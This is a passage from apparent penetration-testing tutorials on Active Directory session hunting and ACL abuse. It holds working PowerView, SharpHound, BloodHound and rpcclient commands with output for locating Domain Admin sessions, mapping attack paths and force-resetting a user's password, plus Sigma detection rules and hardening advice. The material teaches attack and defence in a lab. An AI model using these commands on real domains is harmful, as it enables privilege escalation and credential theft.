Get-NetSession wraps NetSessionEnum at level 10. Point it at the DC, which sees connections from everywhere:

Get-NetSession -ComputerName DC01.lab.local
CName        : \\10.10.10.41
UserName     : LABDA
Time         : 133
IdleTime     : 12
ComputerName : DC01.lab.local

10.10.10.41 is WS01. So a Domain Admin’s workstation is actively talking to the DC. That alone narrows the hunt.

Interactive logons with Get-NetLoggedon

Get-NetLoggedon wraps NetWkstaUserEnum and needs local admin on the target. Run it against WS01 once you have that access:

Get-NetLoggedon -ComputerName WS01.lab.local
UserName     LogonDomain   AuthDomains   LogonServer
--------     -----------   -----------   -----------
LABDA        LAB                         DC01
WS01$        LAB                         DC01
LABUSER      LAB                         DC01

LABDA is logged on interactively at WS01. Confirmed prize.

Local admin membership with Get-NetLocalGroupMember

Get-NetLocalGroupMember calls NetLocalGroupGetMembers over SAMR and answers “who can already own this box”:

Get-NetLocalGroupMember -ComputerName WS01.lab.local -GroupName Administrators
ComputerName : WS01.lab.local
GroupName    : Administrators
MemberName   : WS01\Administrator
SID          : S-1-5-21-3623811015-3361044348-30300820-500
IsGroup      : False
IsDomain     : False

ComputerName : WS01.lab.local
GroupName    : Administrators
MemberName   : LAB\Workstation Admins
SID          : S-1-5-21-3623811015-3361044348-30300820-1142
IsGroup      : True
IsDomain     : True

If LABUSER is nested into LAB\Workstation Admins, you already have admin on WS01, the same box where LABDA is logged in. That is the whole game in two queries.

One-shot hunting with Find-DomainUserLocation

Find-DomainUserLocation is the modern successor to Invoke-UserHunter. It iterates the computers from Get-DomainComputer, runs Get-NetSession plus Get-NetLoggedon on each, and cross-references against the membership of a target group:

Find-DomainUserLocation -UserGroupIdentity "Domain Admins" -ShowAll
UserDomain      : LAB
UserName        : LABDA
ComputerName    : WS01.lab.local
IPAddress       : 10.10.10.41
SessionFrom     : 10.10.10.41
LocalAdmin      :

One command, full sweep: LABDA (Domain Admin) is on WS01.lab.local. Note the timing caveat though. A single scan catches only the sessions live at that instant.


6. Automated Mapping with BloodHound and SharpHound

Manual hunting is fine for three hosts. At scale you need a graph, and you need to scan repeatedly, because privileged users log on and off all day. A single network sweep typically captures only 5 to 15 percent of the sessions that actually occur. That is why looped collection exists.

SharpHound Community Edition is the official collector for BloodHound CE. It’s C#, it calls the same native Win32 functions covered above plus LDAP for object data, and it emits a graph of nodes (users, computers, groups) and edges (relationships).

The collection methods you care about for this hunt:

MethodWhat It Collects
SessionNetwork + logon sessions via NetSessionEnum and NetWkstaUserEnum
LocalAdminBUILTIN\Administrators membership via SAMR
LoggedOnLogged-on users, privileged collection path
AllEverything, including GPO and ACL data

Run looped session collection so you catch users as they come and go. This runs for two hours, dropping a zip after each loop:

SharpHound.exe --CollectionMethods Session --Loop --Loopduration 02:00:00 --OutputDirectory C:\Temp\
2024-03-11T14:02:07 INFO  Resolved Collection Methods: Session
2024-03-11T14:02:07 INFO  Initializing SharpHound at 2:02 PM on 3/11/2024
2024-03-11T14:02:08 INFO  Loop is set, will loop for 02:00:00
2024-03-11T14:02:11 INFO  Beginning LDAP search for lab.local
2024-03-11T14:02:33 INFO  Status: 3 objects finished (+3 1.5)/s -- Using 41 MB RAM
2024-03-11T14:02:34 INFO  Session enumeration: WS01.lab.local -> LABDA
2024-03-11T14:02:35 INFO  Session enumeration: WS02.lab.local -> LABUSER
2024-03-11T14:02:36 INFO  Compressing data to C:\Temp\20240311140236_BloodHound.zip
2024-03-11T14:32:36 INFO  Loop 2 complete. Compressing data to C:\Temp\...

Ingest the zips into BloodHound CE. Each session becomes a HasSession edge from a Computer node to a User node. Now query the graph. First, find any computer holding a Domain Admin session:

MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@LAB.LOCAL"})
RETURN c.name, u.name
c.name              u.name
------              ------
"WS01.LAB.LOCAL"    "LABDA@LAB.LOCAL"

Then ask BloodHound to draw the full attack path from your owned node to Domain Admins:

MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@LAB.LOCAL"}))
RETURN p

BloodHound renders the path visually: LABUSER is AdminTo WS01, WS01 HasSession LABDA, LABDA is MemberOf Domain Admins. The graph just told you exactly which box to move to and why.

The kill-chain payoff

You now hold two facts that combine into a takeover: WS01 has an interactive Domain Admin session, and LABUSER already has local admin on WS01. The next move is lateral movement to WS01 and credential harvesting from LSASS (the DA’s TGT or NTLM hash). That step is out of scope here; it lives in the credential-access material. Session hunting’s job ends at “here is the box, and you can already touch it.”


Flow diagram tracing the full attack path from a low-privileged foothold on WS02 through LDAP host discovery, NetSessionEnum session sweep on the DC, SAMR local admin confirmation, lateral movement to WS01, and LSASS credential harvest to achieve Domain Admin
Session hunting chains two independent facts – where a Domain Admin is logged on and where you already have local admin – into a straight lateral-movement path to credential theft.

7. Lab Walkthrough: Hunting Domain Admins

Build this in any hypervisor (VMware, VirtualBox, Hyper-V). It reproduces the full path end to end.

MachineRoleConfig
DC01 (Server 2019 Eval)DC for lab.localStandard DC, no SrvsvcSessionInfo hardening, Remote Registry enabled
WS01 (Windows 10/11 Pro)Domain workstationLABDA logged in interactively (run a process as that user)
WS02 (Windows 10/11 Pro)Attacker footholdLABUSER (plain domain user)
AllSysmon installed, logging to Event Viewer

To simulate the live DA session on WS01, run any process as LABDA and leave it open:

runas /user:LAB\LABDA "powershell.exe -NoExit"

Then walk the path from WS02 as LABUSER.

Step 1: Confirm your context. Know who you are before you move.

whoami /all
USER INFORMATION
----------------
User Name   SID
=========== ==============================================
lab\labuser S-1-5-21-3623811015-3361044348-30300820-1106

GROUP INFORMATION
-----------------
Group Name                  SID
=========================== =============================================
LAB\Domain Users            S-1-5-21-3623811015-3361044348-30300820-513
BUILTIN\Users               S-1-5-32-545
LAB\Workstation Admins      S-1-5-21-3623811015-3361044348-30300820-1142

Note Workstation Admins membership. That hints you may have admin somewhere.

Step 2: Host discovery. Already shown in section 5; Get-DomainComputer returns DC01, WS01, WS02.

Step 3: Low-priv network session sweep. Get-NetSession -ComputerName DC01.lab.local returns LABDA connecting from 10.10.10.41 (which is WS01). The DA’s workstation is identified without any admin rights, courtesy of the unhardened DC.

Step 4: Confirm the interactive logon. Because LABUSER is in Workstation Admins, which is local admin on WS01, Get-NetLoggedon -ComputerName WS01.lab.local succeeds and shows LABDA logged on (section 5 output).

Step 5: Verify your admin foothold. Get-NetLocalGroupMember -ComputerName WS01.lab.local -GroupName Administrators shows LAB\Workstation Admins as a member. You are admin on the exact box with the DA session.

Step 6: Sanity-check with the one-shot hunter. Find-DomainUserLocation confirms LABDA on WS01.

Step 7: Graph it for repeatability. Loop SharpHound for two hours, ingest, run the Cypher queries from section 6. The path lights up.

Step 8: Stop at the boundary. You have the target (WS01) and the access (local admin). Hand off to lateral movement and credential dumping.


8. Common Attacker Techniques

TechniqueDescription
Level-10 session sweepCall NetSessionEnum level 10 as a plain domain user against DCs and file servers to map where privileged workstations connect from
Privileged logon enumerationUse NetWkstaUserEnum on hosts where you have local admin to read interactive, service, and batch logons
Remote Registry profilingQuery HKEY_USERS subkeys over \PIPE\winreg to list interactively logged-on SIDs
Local admin mappingEnumerate BUILTIN\Administrators over SAMR to find boxes you already control
Looped session collectionRun SharpHound --Loop to capture transient privileged sessions over time, raising coverage well past a single snapshot
Graph pathfindingUse BloodHound HasSession and AdminTo edges to compute the shortest path from foothold to Domain Admins

9. Detection: Sysmon, Event Log, ETW, and Sigma

Every one of these primitives traverses a named pipe over SMB, which means a defender with the right audit policy sees all of them. Enumeration first applies to blue teams too: turn on the right channels before you go looking.

Audit policy prerequisites

Without these subcategories enabled, the high-fidelity events never fire:

auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Detailed File Share" /success:enable
auditpol /set /subcategory:"File Share" /success:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable

Detailed File Share is the important one. It produces Event 5145, which records the relative target name of each named-pipe open, and that is the single best signal for catching session enumeration.

Windows Security Event Log

Event IDChannelWhat It Catches
4624SecuritySuccessful logon; LogonType 3 is the network logon that SMB session enumeration triggers; pivot on SubjectUserName for non-admin callers
4627SecurityGroup membership at logon
4776SecurityNTLM credential validation attempts
5140SecurityNetwork share object access, including IPC$ (the share NetSessionEnum rides)
5145SecurityDetailed share access; reveals \PIPE\srvsvc, \PIPE\wkssvc, \PIPE\winreg opens

A clean 5145 for a session sweep looks like this:

Event ID: 5145
Account Name:      LABUSER
Source Address:    10.10.10.42
Share Name:        \\*\IPC$
Relative Target Name: srvsvc
Accesses:          ReadData (or ListDirectory)

Sysmon events

Sysmon Event IDUse Case
1 (Process Create)Alert on net.exe session, psloggedon.exe, netsess.exe, or SharpHound.exe; key fields Image, CommandLine, ParentImage
3 (Network Connection)Correlate one process making rapid port-445 connections to many hosts; key fields Image, DestinationPort, DestinationHostname
18 (Pipe Connected)Catches connections to \srvsvc, \wkssvc, \winreg

Sysmon Event 3 ties each TCP/UDP connection to its originating process via ProcessId and ProcessGUID, and carries source/destination hosts, IPs, and ports. A fan-out of port-445 connections from one image in seconds is the SharpHound signature:

EventID: 3  Network connection detected
Image: C:\Temp\SharpHound.exe
Protocol: tcp   Initiated: true
DestinationPort: 445
DestinationHostname: DC01.lab.local  (then WS01, WS02, ... in rapid succession)

ETW providers

  • Microsoft-Windows-SMBClient: outbound SMB and pipe access from the attacker host.
  • Microsoft-Windows-SMBServer: inbound IPC$ and named-pipe connections on the victim.
  • Microsoft-Windows-LDAP-Client: SharpHound’s LDAP queries can be captured by an ETW trace session while the tool runs, exposing the host-discovery phase before any SMB traffic fires.

Sigma rules

Catch the rapid port-445 fan-out that defines a session scanner:

title: Potential AD Session Enumeration via SMB Fan-Out
logsource:
  product: windows
  category: network_connection   # Sysmon EventID 3
detection:
  selection:
    EventID: 3
    DestinationPort: 445
    Initiated: 'true'
  timeframe: 30s
  condition: selection | count(DestinationHostname) by Image > 10
fields:
  - Image
  - User
  - DestinationHostname
  - DestinationIp
level: high

Catch the named-pipe opens that every primitive shares, via Event 5145:

title: Remote Named Pipe Access for Session Enumeration
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    ShareName: '\\*\IPC$'
    RelativeTargetName|contains:
      - 'srvsvc'
      - 'wkssvc'
      - 'winreg'
  filter_legitimate:
    SubjectUserName|endswith: '$'   # optionally drop machine accounts
  condition: selection and not filter_legitimate
level: medium

Tune the machine-account filter carefully. Plenty of legitimate management traffic uses these pipes, so baseline first, then alert on unusual source accounts or unusual fan-out.


10. Hardening and Defensive Mitigations

Detection tells you it happened. These controls make the hunt return nothing in the first place.

MitigationDescription
Lock down SrvsvcSessionInfoRemove the Authenticated Users SID (S-1-5-11) from the DACL on the session-info registry key so level-10 NetSessionEnum denies non-admins
Disable Remote RegistryKills Primitive 3 on workstations: Set-Service RemoteRegistry -StartupType Disabled
Protected Users groupAdd Domain Admins; blocks NTLM, disables credential caching and unconstrained delegation, shrinks the secrets left in LSASS
PAW / AD tieringForbid DA accounts from interactive logon on Tier 1/2 workstations; this is the architectural control that makes session hunting yield zero
Credential GuardIsolates LSASS in VBS so found sessions cannot be looted for secrets
LAPSRandomizes and rotates local admin passwords, removing the password reuse that hands attackers the local admin needed for NetWkstaUserEnum

The registry key to tighten:

HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\SrvsvcSessionInfo

The order of impact matters. Tiering is the strategic fix: if a Domain Admin never logs on to a workstation, there is no session to find and no LSASS secret to steal, full stop. Everything else is defense in depth around the reality that admins do log on where they shouldn’t. LAPS plus Credential Guard together close the two follow-on steps (local admin reuse and credential theft) even when a session leaks. The SrvsvcSessionInfo lockdown and Remote Registry disable are cheap, high-value moves that blind the low-privilege phase of the hunt outright.


Illustration of a layered castle fortress with multiple blocked entry points symbolising defence-in-depth mitigations that prevent session hunting from reaching privileged credentials
AD tiering, Protected Users, LAPS, Credential Guard, and registry hardening form overlapping defensive layers – each independently blinding a different phase of the session-hunting kill chain.

11. Tools for Session Hunting and Analysis

ToolDescriptionLink
PowerViewGet-NetSession, Get-NetLoggedon, Get-NetLocalGroupMember, Find-DomainUserLocationpowersploit.readthedocs.io
SharpHound CEC# collector for session, local-admin, and LDAP databloodhound.specterops.io
BloodHound CEGraph engine and Cypher interface for attack pathsbloodhound.specterops.io
PsLoggedOnSysinternals tool using the Remote Registry methodlearn.microsoft.com
net / qwinstaBuilt-in session and terminal-session querieslearn.microsoft.com
SysmonProcess, network, and named-pipe telemetry for detectionlearn.microsoft.com
WiresharkConfirm SMB/Kerberos transport and \PIPE\srvsvc accesswireshark.org

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
System Owner/User DiscoveryT1033Event 4624 LogonType 3, Sysmon 18 pipe \wkssvc/\winreg, Event 5145
System Network Connections DiscoveryT1049Sysmon 3 port-445 fan-out, Event 5145 pipe srvsvc
Permission Groups Discovery: Domain GroupsT1069.002LDAP query telemetry, Microsoft-Windows-LDAP-Client ETW
Account Discovery: Domain AccountsT1087.002LDAP enumeration of user/computer objects
Remote System DiscoveryT1018ADSI/LDAP computer enumeration before SMB activity
Group Policy DiscoveryT1615SharpHound --CollectionMethods All GPO reads
Discovery (tactic)TA0007Hosting tactic for all of the above
Lateral Movement (tactic)TA0008Downstream tactic enabled by located DA sessions

Summary

  • Session hunting locates where privileged accounts are logged on so their credentials can be stolen from LSASS, turning a low-priv foothold into Domain Admin without touching the DC directly.
  • Three primitives do the work: NetSessionEnum (network sessions, level 10 was free for any user pre-2016), NetWkstaUserEnum (interactive logons, needs local admin), and Remote Registry HKEY_USERS (interactive SIDs, needs admin plus the service running).
  • Local admin enumeration via SAMR (NetLocalGroupGetMembers) is the other half: cross-reference “where the DA is” against “where I’m already admin” and the attack path is computed for you.
  • SharpHound --Loop plus BloodHound’s HasSession edge beat single snapshots, which catch only 5 to 15 percent of real sessions.
  • Every primitive crosses a named pipe over SMB, so detect with Event 5145 (srvsvc/wkssvc/winreg), Sysmon 3 port-445 fan-out, and 18 pipe connects, and defend with SrvsvcSessionInfo lockdown, Remote Registry disable, Protected Users, LAPS, Credential Guard, and above all AD tiering that keeps Domain Admins off workstations entirely.

Related Tutorials

References

ACL and DACL Enumeration: Finding Abusable Object Permissions (GenericAll, WriteDacl, ForceChangePassword, DCSync rights)

You compromise one low-privilege account. A help desk operator, a service account, anything with a valid Kerberos TGT. No local admin, no shells on the DC, nothing that screams “owned.” Then you dump the ACLs and find that this nobody account has GenericAll on a user who has WriteDacl on the domain object. That’s the whole game. No CVE, no memory corruption, no patch to wait for. Just permissions somebody set in 2017 and forgot about.

This is the most reliable path from “I have a domain account” to “I have the krbtgt hash” in any real engagement, and it is almost never about a single misconfiguration. It is a chain. Your job as the attacker is to read the security descriptors, find the edges, and walk the graph. Your job as the defender is to see the same graph first and the audit events when someone walks it.

Objective: Understand the Active Directory security descriptor model (DACLs, ACEs, SDDL), enumerate the five most dangerous ACE types from a low-privilege account, abuse GenericAll, WriteDacl, WriteOwner, AllExtendedRights, and ForceChangePassword to escalate to DCSync and domain compromise in a lab, and detect every step with Windows auditing and Sigma.


1. The AD Security Descriptor Model

Every securable object in Active Directory (users, groups, computers, OUs, the domain head itself) carries a Security Descriptor. It is the access-control metadata that the directory consults on every operation. The descriptor has three parts you care about for abuse:

  • The DACL (Discretionary Access Control List): the list of principals allowed or denied access, and what access.
  • The SACL (System Access Control List): the auditing policy, which controls what generates Event ID 4662 and friends.
  • The Object Owner: a SID with an implicit, undeniable right to rewrite the object’s DACL, regardless of what the DACL currently says.

That last point matters more than people expect. Owning an object means you can always grant yourself anything on it. We exploit exactly that in the WriteOwner chain later.

The full descriptor lives in the nTSecurityDescriptor attribute on every object, serialized in SDDL (Security Descriptor Definition Language). When you read raw SDDL you get strings like (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-...). The opening A is an Allow ACE, the cluster of letters is the access mask in symbolic form, and the trailing SID is the trustee.

ACE structure

A DACL is an ordered list of Access Control Entries (ACEs). Each ACE answers “who, what, allow or deny.” The fields that matter for enumeration and abuse:

ACE FieldDescription
AceTypeAllow (0x00) or Deny (0x01)
AceFlagsInheritance flags (e.g. 0x01 = object inherit, 0x02 = container inherit)
AccessMaskThe permission bits (e.g. 0x000F01FF = GenericAll)
ObjectType (GUID)For extended rights, the specific right being granted (e.g. replication GUIDs)
InheritedObjectType (GUID)Object class the ACE applies to when inherited
SecurityIdentifierThe trustee (SID) being granted or denied

The ObjectType GUID is the field that turns a generic-looking ACE into something lethal. An ACE with access mask “Control Access” (0x00000100) and an ObjectType of 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 is not generic at all. It is the DS-Replication-Get-Changes extended right, which is half of DCSync. The raw bits look modest; the GUID is what tells you it is a domain-killing privilege.

typedef struct _ACE_HEADER {
    UCHAR  AceType;     // 0x00 = ACCESS_ALLOWED_ACE_TYPE, 0x05 = OBJECT_ACE
    UCHAR  AceFlags;    // CONTAINER_INHERIT_ACE (0x02), OBJECT_INHERIT_ACE (0x01)
    USHORT AceSize;
} ACE_HEADER;

typedef struct _ACCESS_ALLOWED_OBJECT_ACE {
    ACE_HEADER Header;
    ACCESS_MASK Mask;        // e.g. ADS_RIGHT_DS_CONTROL_ACCESS (0x00000100)
    ULONG  Flags;            // ACE_OBJECT_TYPE_PRESENT (0x1)
    GUID   ObjectType;       // the extended right GUID
    GUID   InheritedObjectType;
    ULONG  SidStart;         // trustee SID begins here
} ACCESS_ALLOWED_OBJECT_ACE;

This is the same ACCESS_ALLOWED_OBJECT_ACE structure Windows uses internally. PowerView and BloodHound parse exactly these bytes out of nTSecurityDescriptor and resolve the GUIDs back to human-readable rights. Understanding the struct is what lets you sanity-check a tool when its labeling lies to you, and it does lie occasionally on inherited ACEs.


2. Dangerous ACE Permission Types Explained

There are dozens of access-mask bits. Five combinations matter for escalation. Learn what each one unlocks against each object class, because the abuse path depends entirely on the target type.

RightAccess MaskWhat it grants
GenericAll0x000F01FFFull control. Everything below, plus more.
GenericWrite0x00000028Write non-protected attributes (servicePrincipalName, msDS-KeyCredentialLink, scriptPath)
WriteDacl0x00040000Rewrite the object’s DACL, granting yourself anything
WriteOwner0x00080000Change the object owner to yourself, then rewrite the DACL
AllExtendedRights0x00000100 (control access, no GUID)All extended rights including password reset and replication

GenericAll is FullControl. On a user it means you can reset the password, write an SPN, write msDS-KeyCredentialLink. On a group it means you can add members. On a computer it means you can configure resource-based constrained delegation. It is the cleanest win because every other abuse is a subset of it.

GenericWrite does not let you touch the DACL, but it lets you write attributes. Two attributes are weaponizable: writing servicePrincipalName enables targeted Kerberoasting, and writing msDS-KeyCredentialLink enables Shadow Credentials (PKINIT pre-auth with an attacker-controlled key pair).

WriteDacl lets you add a new ACE to the target’s DACL. Against a user that means granting yourself GenericAll. Against the domain object it means granting yourself the two replication rights, which is DCSync. That single ACE on the domain head is the highest-value misconfiguration in this entire article.

WriteOwner is the patient attacker’s right. You make yourself the owner, and owners can always rewrite the DACL. So WriteOwner becomes WriteDacl becomes GenericAll in three operations.

AllExtendedRights is the umbrella for control-access rights. On a user it includes User-Force-Change-Password. On the domain object it includes both DS-Replication-Get-Changes and DS-Replication-Get-Changes-All, which together equal DCSync. A principal with AllExtendedRights on the domain head can DCSync without any further modification.

ForceChangePassword

User-Force-Change-Password is a single extended right (GUID 00299570-246d-11d0-a768-00aa006e0529) that resets a user’s password without knowing the current one. Mechanically the attacker calls the RPC SamrSetInformationUser (or LDAP-modifies unicodePwd) and the directory accepts the new value because the right authorizes the operation. This is louder than a Kerberos abuse because it changes a credential the real user relies on, but it is dead reliable.

DCSync extended rights (memorize these GUIDs)

DCSync is not file theft. It does not copy NTDS.dit. It is a legitimate replication operation, DsGetNCChanges, transported over RPC to the DRSUAPI (Directory Replication Service API) endpoint. A real DC uses this to sync directory partitions. An attacker who holds the replication rights asks the DC to replicate secret attributes (unicodePwd, supplementalCredentials, Kerberos keys) for a target principal, and the DC happily hands them over because the rights check passed.

Two extended rights on the domain naming context grant DCSync:

RightGUID
DS-Replication-Get-Changes1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
DS-Replication-Get-Changes-All1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
DS-Replication-Get-Changes-In-Filtered-Set89e95b76-444d-4c62-991a-0facbeda640c

You need the first two for a full DCSync. The third covers RODC filtered attribute sets and shows up in detection queries. Administrators, Domain Admins, Enterprise Admins, and Domain Controllers hold these by default. Anyone else holding them is drift, and drift is your way in.


Hierarchy diagram showing how GenericAll, WriteDacl, WriteOwner, AllExtendedRights, and ForceChangePassword each escalate to DCSync
Every dangerous ACE type ultimately leads to DCSync – some directly, others through intermediate ownership or DACL rewrites.

3. ACE Inheritance and Container/OU Abuse

Inheritance is the force multiplier. A single ACE on an OU can cascade to every child object inside it.

When an ACE carries the inherit flags (0x01 object inherit plus 0x02 container inherit) and a child object has inheritance enabled, that child receives the ACE automatically. So if you get WriteDacl on an OU and write an inheritable GenericAll ACE for yourself, every user, group, and computer in that OU that allows inheritance now grants you full control. Hundreds of objects, one write.

There is one critical exception: AdminCount. Objects protected by AdminSDHolder (anything that is or has been in a privileged group, marked AdminCount=1) do not inherit container ACEs. The SDProp process overwrites their DACL from the AdminSDHolder template roughly every hour. So OU-level inheritance abuse hits ordinary users (AdminCount=0) but bounces off Tier 0 principals. Good news for defenders, and a reason attackers target the path into a Tier 0 account rather than the account directly.


4. Building the Lab Target

Stand up a single Windows Server 2022 Evaluation domain controller for LAB.local. Promote it, then provision three users and bake in two deliberate misconfigurations. Run this as Domain Admin on the DC.

# Provision intentionally misconfigured users - run as Domain Admin
New-ADUser -Name "helpdesk01" -AccountPassword (ConvertTo-SecureString "Password1!" -AsPlainText -Force) -Enabled $true
New-ADUser -Name "svc_backup" -AccountPassword (ConvertTo-SecureString "Password1!" -AsPlainText -Force) -Enabled $true
New-ADUser -Name "alice"      -AccountPassword (ConvertTo-SecureString "Password1!" -AsPlainText -Force) -Enabled $true

# Misconfiguration 1: helpdesk01 has GenericAll over alice
$alice = Get-ADUser alice
$sid   = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser helpdesk01).SID
$ace   = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($sid, "GenericAll", "Allow")
$acl   = Get-Acl "AD:\$($alice.DistinguishedName)"
$acl.AddAccessRule($ace)
Set-Acl -Path "AD:\$($alice.DistinguishedName)" -AclObject $acl

# Misconfiguration 2: svc_backup has WriteDacl over the domain object
$domainDN = (Get-ADDomain).DistinguishedName
$sid2 = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser svc_backup).SID
$ace2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($sid2, "WriteDacl", "Allow")
$acl2 = Get-Acl "AD:\$domainDN"
$acl2.AddAccessRule($ace2)
Set-Acl -Path "AD:\$domainDN" -AclObject $acl2
PS C:\> # no output on success; verify the ACEs landed:
PS C:\> (Get-Acl "AD:\CN=alice,CN=Users,DC=LAB,DC=local").Access |
>>      Where-Object { $_.IdentityReference -like "*helpdesk01*" } |
>>      Select-Object ActiveDirectoryRights, AccessControlType

ActiveDirectoryRights AccessControlType
--------------------- -----------------
           GenericAll             Allow

Two edges now exist: helpdesk01 --GenericAll--> alice and svc_backup --WriteDacl--> LAB.local. The DC IP for the rest of this walkthrough is 192.168.56.10. We start with only the cleartext password for helpdesk01 and svc_backup, the position a real engagement usually begins from.


5. Enumeration with PowerView and BloodHound

Find the opportunity before you touch anything. The first question is always “what does my current principal control.”

Import PowerView and read the ACL on alice, resolving the GUIDs so extended rights become readable instead of hex.

Import-Module .\PowerView.ps1

Get-DomainObjectAcl -Identity alice -Domain LAB.local -ResolveGUIDs |
  Where-Object { $_.SecurityIdentifier -match (Get-ADUser helpdesk01).SID }
AceQualifier           : AccessAllowed
ObjectDN               : CN=alice,CN=Users,DC=LAB,DC=local
ActiveDirectoryRights  : GenericAll
ObjectAceType          : None
ObjectSID              : S-1-5-21-3623811015-3361044348-30300820-1145
InheritanceType        : None
SecurityIdentifier     : S-1-5-21-3623811015-3361044348-30300820-1142
IsInherited            : False

ActiveDirectoryRights : GenericAll on alice, granted to the SID ending -1142 (which is helpdesk01). That is full control over the user object. It enables a password reset, an SPN write for Kerberoasting, or a Shadow Credential.

Now flip the question: across all users, where is my current token the trustee with dangerous rights?

$me = (whoami /user | Select-String "S-1-5").ToString().Split()[-1]

Get-DomainUser | Get-ObjectAcl -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner|AllExtendedRights" -and
                 $_.SecurityIdentifier -eq $me }
ObjectDN              : CN=alice,CN=Users,DC=LAB,DC=local
ActiveDirectoryRights : GenericAll
ObjectAceType         : None
SecurityIdentifier    : S-1-5-21-3623811015-3361044348-30300820-1142
IsInherited           : False

One hit, as expected. In a real domain this query returns the sprawl that years of help-desk delegation leave behind.

SharpHound and BloodHound CE

Manual queries are fine for a single edge. For path-finding across thousands of objects you want the graph. Collect ACL data with SharpHound:

SharpHound.exe --CollectionMethods ACL,Group,ObjectProps --Domain LAB.local --ZipFilename lab_acls.zip
2024-05-21T14:22:03.1Z|INFORMATION|Resolved Collection Methods: ACL, Group, ObjectProps
2024-05-21T14:22:03.4Z|INFORMATION|Beginning LDAP search for LAB.local
2024-05-21T14:22:09.8Z|INFORMATION|Status: 134 objects finished (+134)/s -- Using 41 MB RAM
2024-05-21T14:22:10.1Z|INFORMATION|Enumeration finished in 00:00:06.7
2024-05-21T14:22:10.3Z|INFORMATION|Saving cache with stats: 0 ID to type mappings.
2024-05-21T14:22:10.5Z|INFORMATION|SharpHound Enumeration Completed! Zip file: 20240521142210_lab_acls.zip

Ingest the ZIP into BloodHound CE and run Cypher. First, every principal with GenericAll on a user:

MATCH p=(n)-[r:GenericAll]->(m:User) RETURN p

Then the question that ends the assessment: is there a path from your foothold to Domain Admins?

MATCH p=shortestPath((u:User {name:"HELPDESK01@LAB.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@LAB.LOCAL"}))
RETURN p
(HELPDESK01@LAB.LOCAL) -[GenericAll]-> (ALICE@LAB.LOCAL)
(ALICE@LAB.LOCAL)      -[MemberOf]->   (HELP DESK ADMINS@LAB.LOCAL)
(HELP DESK ADMINS)     -[GenericAll]-> (SVC_BACKUP@LAB.LOCAL)
(SVC_BACKUP@LAB.LOCAL) -[WriteDacl]->  (LAB.LOCAL)
(LAB.LOCAL)            -[DCSync]->     (LAB.LOCAL)

BloodHound abstracts WriteDacl on the domain object directly into a DCSync edge because it understands the chain. Read that path top to bottom and you have your plan: reset alice, pivot through her group membership to svc_backup, use svc_backup’s WriteDacl to grant DCSync, dump the domain.


Graph diagram of the BloodHound shortest path from helpdesk01 through alice and svc_backup via GenericAll and WriteDacl edges to Domain Admins
BloodHound’s shortestPath Cypher query reveals the full privilege escalation chain – five edges from a help desk account to full domain compromise.

6. Enumerating DCSync Rights

Before granting DCSync, audit who already holds it. The legitimate holders are the four default groups and the DCs. Anything else is the prize. Query the domain object DACL for the replication GUIDs:

Get-ObjectAcl -DistinguishedName "DC=LAB,DC=local" -ResolveGUIDs |
  Where-Object { $_.ObjectAceType -match "Replication-Get-Changes" } |
  Select-Object SecurityIdentifier, ObjectAceType |
  ForEach-Object {
      $_.SecurityIdentifier = ConvertFrom-SID $_.SecurityIdentifier; $_
  }
SecurityIdentifier            ObjectAceType
------------------            -------------
LAB\Domain Controllers        DS-Replication-Get-Changes
LAB\Domain Controllers        DS-Replication-Get-Changes-All
LAB\Enterprise Read-only DCs  DS-Replication-Get-Changes
LAB\Administrators            DS-Replication-Get-Changes
LAB\Administrators            DS-Replication-Get-Changes-All
LAB\Enterprise Admins         DS-Replication-Get-Changes
LAB\Enterprise Admins         DS-Replication-Get-Changes-All

Clean baseline: only default holders. If svc_backup or any service account showed up here, you would have a free DCSync without touching a DACL. We do not yet, so we will create that ACE in section 8.

You can ask the same question by raw GUID, which is what your detection rules will key on:

Get-ObjectAcl -DistinguishedName "DC=LAB,DC=local" |
  Where-Object { $_.ObjectType -in @(
      '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2',
      '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2',
      '89e95b76-444d-4c62-991a-0facbeda640c') } |
  Select-Object SecurityIdentifier, ActiveDirectoryRights
SecurityIdentifier                            ActiveDirectoryRights
------------------                            ---------------------
S-1-5-21-3623811015-3361044348-30300820-516   ExtendedRight
S-1-5-21-3623811015-3361044348-30300820-498   ExtendedRight
S-1-5-32-544                                   ExtendedRight

7. Abusing GenericAll and AllExtendedRights

helpdesk01 has GenericAll on alice. Three useful primitives flow from that. Pick the quietest one your objective allows.

Path A: Force a password reset

GenericAll includes the force-change-password right, so you do not need alice’s current password.

$pass = ConvertTo-SecureString 'Pwned1234!' -AsPlainText -Force
Set-DomainUserPassword -Identity alice -AccountPassword $pass -Verbose
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'alice'
VERBOSE: [Set-DomainUserPassword] Password for user 'alice' successfully reset

From Linux with only the SAMR RPC interface:

rpcclient -U "LAB/helpdesk01%Password1!" //192.168.56.10 \
  -c "setuserinfo2 alice 23 'Pwned1234!'"
[no output on success - exit code 0]

You now authenticate as alice and inherit her group memberships. That is how the BloodHound path pivots into svc_backup.

Path B: Targeted Kerberoast

If you would rather not disturb alice’s password (it would lock her out), abuse GenericAll to write a fake SPN, then Kerberoast her. This is worth understanding mechanically.

